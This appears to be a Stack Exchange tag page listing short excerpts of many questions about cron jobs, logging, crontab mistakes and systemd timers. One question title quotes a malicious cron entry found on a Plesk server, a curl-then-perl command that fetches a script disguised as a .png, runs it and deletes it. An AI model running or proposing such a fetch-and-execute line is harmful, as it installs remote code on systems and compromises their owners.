Cron is a job scheduler that allows users to run commands periodically.

learn more… | top users | synonyms (1)

1
vote
1answer
17 views

How to build cron docker image properly?

I am trying to build Debian-based image to dockerize cron process, but my cron jobs are never started. Here is my Dockerfile: FROM debian:jessie RUN apt-get update && apt-get install -y ...
0
votes
1answer
19 views

Cron stopped logging to /var/log/cron.log

A month ago I set cron to log to /var/log/cron.log by modifying /etc/rsyslog.d/50-default.conf. Logging worked great until I changed permissions on /var/log (by easing permission restrictions), and ...
0
votes
1answer
47 views

Cannot Bash chgrp GROUP /home/*/SOMEFILE/ How to do it?

So am setting a code that will change group owner of the file to a specific group. PS there are more than 10 users, with same folder and file structure, and i want change the ownership of a specific ...
1
vote
0answers
13 views

Using crontab to start redshift on boot? [duplicate]

I am using crontab to start redshift on boot. @reboot /usr/bin/redshift is showing from crontab -l. My redshift.conf is configured properly and invoking redshift works from the command line. Also ...
2
votes
0answers
148 views

How to overcome this error when running a script in crontab?

This is basically my script. #!/bin/sh #set -x ...
0
votes
1answer
21 views

Accumulating sendmail processes

I've been having an issue where I'll see many instances of a particular process: /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t I've done a bit of reading and it seems like the processes are ...
-1
votes
1answer
272 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
16
votes
2answers
721 views

Does crond handles summer time +1 hour change?

Last weekend we had to change the time from 02:00 to 03:00. Question: What would happen if there was a cronjob at 02:30? crond is a very old solution for scheduling, it should probably handle it, ...
3
votes
1answer
617 views

How do I push a Mercurial repository to BitBucket over ssh? [closed]

I created a public key for ssh and registered that key with BitBucket. I then attempted to push: $ hg push ssh://jhayward@bitbucket.org/johncharrell/[project name] pushing to ...
9
votes
8answers
5k views

cron Vs. sleep - which is the better one in terms of efficient cpu/memory utilization?

The Case: I need to run some commands/script at certain intervals of time and for this I have two options - 1. set up a cron-job or, 2. implement a loop with sleep in the script itself. Question: ...
0
votes
1answer
21 views

cron not working with commands symlinked in custom PATH

I have a script job.sh in /home/user/scripts, which is then symlinked to /home/user/bin/job. The custom binaries path has been included in .bashrc, so whenever I issue the command job param1 etc from ...
1
vote
4answers
80 views

Dangers of using rm command with variables

I am creating a crontab that compresses 15 minute clips from my security camera into one file (24 Hours Long) and then having the clips delete. avimerge -o /media/jmartin/Cams/video/Full_$(date +%F ...
2
votes
3answers
266 views

Cron job working, but crontab -l says no jobs

I am running Raspbian on a Pi and installed cron to schedule a job. I wrote a Python script and I set it to run every 5 minutes. The job is happening every 5 minutes, no problems, but when I run ...
0
votes
1answer
42 views

Crontab task not trigerred

I am trying to automate backup management on server on raspberry and put a regular tar triggering into a crontab. I set it up via bash scripts. First I set up the task and then use script to carry out ...
9
votes
0answers
88 views

Cron vs systemd timers

[NOTE: The intent of this question is to help people evaluate whether systemd timers would be a good choice for their job timing needs. Many (most?) people are probably using cron, but maybe some are ...
3
votes
2answers
921 views

Use /etc/aliases for outgoing mail relayed by postfix with local domain

I'm using Ubuntu 12.04 with postfix configured as satellite system that relays outgoing mail to Gmail. For sake of example, my registered domain is example.com I want root cronjobs' error output to be ...
3
votes
1answer
23 views

How to one way sync two folders on startup

I am trying to synchronize: /var/www/CI_MAIN/ according to the changes made in: /home/coco/workspace/CI_MAIN/ (PDT's workspace). To do this, I entered sudo crontab -e in the command ...
28
votes
6answers
81k views

What does '>/dev/null 2>&1' mean in this article of crontab basics? [duplicate]

I am reading an article about crontab There is something about disabling automatically sending emails. Disable Email By default cron jobs sends an email to the user account executing the ...
3
votes
2answers
2k views

Crontab change MAILTO for only one specific job in Root's crontab

Can I do the following to change where mail goes for one specific crontab job in root's crontab (don't sent to root for Do Something job, just send to porklover): # Make a hambone appear * * * * * ...
1
vote
1answer
25 views

Separate server's hostname appearing in this server's cron logs

I get entries like these in /var/log/cron, in a host named SERV2 (RHEL 6.2): Apr 21 14:50:01 SERV1 CROND[14799]: (root) CMD (/usr/lib64/sa/sa1 -S DISK 1 1) Apr 21 15:20:01 serv2 CROND[24438]: (root) ...
15
votes
7answers
7k views

Using notify-send with cron

I am using Arch Linux with KDE/Awesome WM. I am trying to get notify-send to work with cron. I have tried setting DISPLAY/XAUTHORITY variables, and running notify-send with "sudo -u", all without ...
0
votes
0answers
11 views

cross-reboot monotonic systemd timer

The timer functionality of systemd includes monotonic timers, which measure time in real uptime since some starting point after boot. This means that after a boot, the service triggered by the timer ...
0
votes
1answer
1k views

openSuse, not running the cron job

I have created a cron job in the /etc/cron.d/dispatchingEmail_I the permissions of dispatchingEmail_I are the following: -rw-r--r-- 1 root root 84 Sep 11 19:52 dispatchingEmail_I content of ...
19
votes
3answers
10k views

Recover cron jobs accidently removed with crontab -r

I entered crontab -r instead of crontab -e and all my cron jobs have been removed. What is the best way (or is there one) to recover those jobs?
1
vote
0answers
21 views

Managing cron jobs across multiple servers

We are facing a problem with managing cron jobs over multiple servers with dependencies. I hope there is an opensource central management project that I can be used to handle that and report the ...
-1
votes
0answers
11 views

Ubuntu Linux - PHP Cron doesn't work

I have a Ubuntu webserver that should execute a PHP script to cache a bunch of data every 5 minutes using a Cron job. I configured the Cron using Webmin entering the command: /usr/bin/php -q ...
0
votes
1answer
34 views

Easy Way to Wrap CRON Output in HTML PRE?

I use Gmail and every so often I have to hack it back in that text/plain email should be rendered in a monospace font. This makes it much easier to skim system-generated reports, &c. The problems ...
0
votes
0answers
19 views

How to undo deleted crontab list [duplicate]

I accidentally typed crontab -r instead of crontab -e, Which resulted into deletion of crontabs without any notification. How can I undo my step?
-4
votes
1answer
29 views

What is the first day of the week in crontab?

So we know that the fifth column in crontab means day of the week. But what day is considered as 1? What is considered the first day of the week? Is it Sunday or Monday?
0
votes
0answers
19 views

netcat output does not write to array if launched from cron

I am able to run this script as a user or root with bash or sh. Doing so gives me the output that I expect (arrayFWS is written to file, then emailed). However, when I run it with crontab with user or ...
1
vote
1answer
33 views

How to fix connection loss in VM?

My virtual machine loses the internet connection sometimes on linux and I need to stay connected constantly. So I wrote the following script: #!/bin/bash wget -q --tries=10 --timeout=20 --spider ...
0
votes
2answers
36 views

How to check if a crontab job works when it should

So I've made a basic .sh file to clear my cache using the sync; echo < 3 /proc/sys/vm/drop_caches command. Then I saved it to my username in /home/marc Then I came across the crontab so I ...
3
votes
1answer
27 views

Using zip package for debian with password

I'm trying to make a backup .sh script to zip my files and to protect the zip archive with a password. For that, I'm using the zip package (apt-get install zip) and there's an encryption option ...
7
votes
1answer
3k views

List of modified files of the past 24 hours

Is there a reliable way to have a system that mails me the list of files that were modified in the past 24 hours inside a set of directories? (like /home/*/public_html/* and /home/*/*domains/*)
1
vote
2answers
246 views

delete redis keys that have been inactive for 30 days

I've installed a web app called scrumblr which uses redis as a database. What I am attempting to do is delete all keys that have been inactive for 30 days, or have not been accessed in 30 days. I ...
0
votes
2answers
30 views

how to properly log the output of a console program that frequently updates “parts” of the screen, resulting in a messy log file?

I have some Java executable (jar) that is run my some shell script from a cron job once every night. That executable does not print log statements "as usual" just by printing them out in a sequential ...
0
votes
0answers
18 views

How to make cron job which suspends computer before specified time of the day

I am trying to make script which suspends computer if it is used before specified time of the day or if it is used too long. #! /bin/bash ...
1
vote
1answer
41 views

Cron suddenly calls a script every 15 minutes

On a Debian server, I have a crontab entry that should call a script every day at 04:21 AM. That's what it did, until today .. but now the script is called every 15 minutes without any reason ! I ...
0
votes
1answer
24 views

Cron.d doesn't run my command

I am trying to execute a command using cron.d. I've tried so far this to test 11 13 * * * root echo \"OK?\" >/tmp/cron-is-ok which runs fine! Runs as it should. But if I replace the command with ...
1
vote
1answer
45 views

/etc/cron.hourly in home directory

How does one run scripts in a folder on a schedule without needing to bother with root/sudo? Ubuntu has /etc/cron.hourly, /etc/cron.daily, etc so I was wondering if there was also a folder in the home ...
5
votes
3answers
328 views

Is any extended logging available for cron jobs?

I have 3 scripts under /etc/cron.daily. My cron logs are written in /var/log/cron. The below is an entry for the above cron that has run. (root) CMD (run-parts /etc/cron.hourly) Here the stdout or ...
1
vote
1answer
22 views

CRON problem - an apt-get dist-upgrade job

This question is related to Debian 8.4. I applied the same updating mechanism to several desktop stations and one unused server. This problem appeared on the server but I suspect it will happen on ...
0
votes
1answer
48 views

How do I know if crontab is working fine?

Is there a log of crontab for me to know if crontab is working fine? I am on Linux Mint 17.3. What I have done: ran crontab -e as root it did not exist, so I chose nano editor and proceeded entered ...
1
vote
1answer
42 views

Get the process start time irrespective of NTP updates

I'm trying to record the start time of a process kicked off by an @reboot cronjob. I'm using ps -p $$ -o ltime= presently, but I've run into a catch. My machine (a Raspberry Pi) connects to the ...
0
votes
1answer
22 views

Ampersand in Cronjob [duplicate]

I have found the following entry in a user crontab: */5 * * * * ~/bin/php /path/to/phpscript &> /path/to/logfile What is the meaning of the & (ampersand) here? Has it still the meaning ...
1
vote
2answers
43 views

Is it safe to set a cron job for apt-get upgrade? [closed]

Is it a good idea to create a cron job for apt-get update; apt-get upgrade for my webserver? So not apt-get dist-upgrade.
1
vote
1answer
36 views

Cronjob Create File Every Execute

I can create a cron job for every 5 minutes with following codes: */5 * * * * root bash /etc/cron.d/mongo/5min.sh In the /etc/cron.d/mongo/5min.sh file send request with cURL: #!/bin/sh ...
3
votes
1answer
43 views

Run a command when any cron job fails instead of just sending an email

Is there some way to call a script of my own instead of just sending an email when any cron job fails?
1
vote
0answers
15 views

Rolling job scheduler

I have a number of servers that I want to perform the same jobs on, one server per day, once the final server has been acted upon the script should return to server1 and start over again. The jobs ...
-1
votes
1answer
31 views

How to use crontab to shutdown linux for every saturday 3PM [closed]

Hi I want to create schedule on my Linux server to shutdown it every Saturday 5PM. How can I do it.